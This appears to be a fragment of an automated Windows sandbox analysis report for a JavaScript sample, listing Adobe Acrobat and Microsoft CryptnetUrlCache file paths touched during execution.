C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3640

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
3000822141700718957.js